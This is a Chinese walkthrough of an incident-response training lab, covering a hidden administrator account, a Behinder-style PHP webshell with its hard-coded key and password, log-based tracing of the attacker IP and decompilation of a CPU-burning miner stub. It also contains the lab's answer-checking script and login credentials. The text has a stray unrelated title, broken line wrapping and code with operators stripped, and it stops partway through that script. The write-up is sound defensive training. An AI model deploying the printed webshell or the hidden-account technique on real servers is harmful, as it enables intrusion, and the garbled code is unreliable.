核心内容摘要
国产乱论:探索那些让人又爱又恨的经典
前景需要小李在值守的过程中发现有CPU占用飙升出于胆子小就立刻将服务器关机这是他的服务器系统请你找出以下内容并作为通关条件
攻击者的shell密码
攻击者的IP地址
攻击者的隐藏账户名称
攻击者挖矿程序的矿池域名用户administrator密码Zgsfadmin.com
题目要求攻击者的 shell 密码攻击者的 IP 地址攻击者创建的隐藏账户名称攻击者挖矿程序使用的矿池域名仅域名
应急响应总体思路真实应急响应中一般遵循以下顺序账户异常排查最快、最明显Web 服务与 WebShell 排查日志溯源锁定攻击 IP恶意程序与挖矿行为确认逆向分析恶意程序提取矿池信息
隐藏账户排查问题
3
1 为什么先查账户攻击者在 Web 入侵成功后最稳定的持久化方式就是创建系统账户这样即使 WebShell 被删也能重新登录系统。
2 查看本地用户和组使用图形界面方式Win R → lusrmgr.msc打开 “本地用户和组 → 用户”查看所有用户
3 发现隐藏账户在用户列表中发现一个明显异常用户hack168$判断依据以$结尾Windows 中常用于隐藏账户非系统默认用户明显人为创建攻击者的隐藏账户名称hack168$用命令确认$net user hack168$ 用户名 hack168$ 全名 注释 用户的注释 国家/地区代码 000 (系统默认值) 帐户启用 Yes 帐户到期 从不 上次设置密码 2024/2/26 23:01:13 密码到期 从不 密码可更改 2024/2/26 23:01:13 需要密码 Yes 用户可以更改密码 Yes 允许的工作站 All 登录脚本 用户配置文件 主目录 上次登录 2024/2/26 23:02:24 可允许的登录小时数 All 本地组成员 *Administrators *Users 全局组成员 *None 命令成功完成。
Web 服务排查与 WebShell 定位问题
1
1 确认 Web 环境桌面存在 phpStudy / 小皮面板说明该主机运行 Web 服务通过浏览器访问本机 80 端口http://
127.
0.
1推断攻击者大概率通过 Web 上传漏洞 / Web RCE 入侵phpStudy路径
2 使用 D 盾扫描 Web 目录对www目录使用 D 盾 WebShell 查杀工具扫描:获得webshell路径C:\phpStudy_pro\WWW\content\plugins\tips\shell.php
3 查看 WebShell 内容打开 WebShell 文件发现典型一句话木马结构并在代码中直接写死了密码?php error_reporting(
; session_start(); $keye45e329feb5d925b; //该密钥为连接密码32位md5值的前16位默认连接密码rebeyond $_SESSION[k]$key; session_write_close(); $postfile_get_contents(php://input); if(!extension_loaded(openssl)) { $tbase64_.decode; $post$t($post.); for($i0;$istrlen($post);$i) { $post[$i] $post[$i]^$key[$i115]; } } else { $postopenssl_decrypt($post, AES128, $key); } $arrexplode(|,$post); $func$arr[0]; $params$arr[1]; class C{public function __invoke($p) {eval($p.);}} call_user_func(new C(),$params); ?$password rebeyond;攻击者的 shell 密码rebeyond
日志分析定位攻击者 IP问题 2启动服务查看
1 为什么要看 Apache 日志既然确认是 WebShell 上传那么攻击者的 IP 一定会出现在 Web 访问日志 中
2 Apache 日志路径phpStudy 默认 Apache 日志路径C:\phpstudy_pro\Extensions\Apache
2.
39\logs\重点文件access.log
3 分析 access.log打开access.log结合以下特征筛选POST 请求上传脚本访问 WebShell 文件请求参数异常最终定位到攻击源 IP
192.
168.
1
1攻击者的 IP 地址
192.
168.
1
1弱口令admin123456能登录
挖矿行为确认与恶意程序定位
1 异常现象在桌面操作过程中发现运行某个可疑程序后CPU 使用率瞬间 100%这是非常典型的 挖矿行为特征
2 锁定挖矿程序在隐藏账户hack168$的目录中发现可疑文件Kuang.exe运行即拉满 CPU基本可以确认该程序为挖矿木马
逆向挖矿程序提取矿池域名问题
4
1 为什么要逆向挖矿程序一定要连接矿池服务器矿池地址通常写死在代码中或以字符串形式存在
2 判断程序类型使用file/ 观察行为后发现Kuang.exe为 PyInstaller 打包的 Python 程序
3 使用 PyInstaller 反编译工具准备pyinstxtractor.py执行python pyinstxtractor.py Kuang.exe成功解包得到.pyc文件
4 反编译 pyc将Kuang.pyc上传至 在线 pyc 反编译网站还原为.py文件# Decompiled with PyLingual (https://pylingual.io) # Internal filename: Kuang.py # Bytecode version:
3.
0rc1 (
# Source timestamp:
00:00:00 UTC (
import multiprocessing import requests def cpu_intensive_task(): while True: try: requests.get(http://wakuang.zhigongshanfang.top, timeout
except: pass if __name__ __main__: cpu_count multiprocessing.cpu_count() processes [multiprocessing.Process(targetcpu_intensive_task) for _ in range(cpu_count)] for process in processes: process.start() for process in processes: process.join()在源码中发现如下关键字符串http://wakuang.zhigongshanfang.top这是挖矿程序连接的矿池地址挖矿程序的矿池域名wakuang.zhigongshanfang.top
逆向题目exe步骤同上# Decompiled with PyLingual (https://pylingual.io) # Internal filename: 解题.py # Bytecode version:
3.
0rc1 (
# Source timestamp:
00:00:00 UTC (
print(公众号知攻善防实验室) print(欢迎使用知攻善防实验室-应急响应训练靶机解题系统) print(在此之前您应该获取到以下信息) print(
攻击者的shell密码) print(
攻击者的IP地址) print(
攻击者的隐藏账户名称) print(
攻击者挖矿程序的矿池域名) num input(你准备好了吗y or n) if num y: shellpass input(请输入攻击者的shell密码:) if shellpass rebeyond: print(题解正确) IPadd input(请输入攻击者的IP地址) if IPadd
192.
168.
1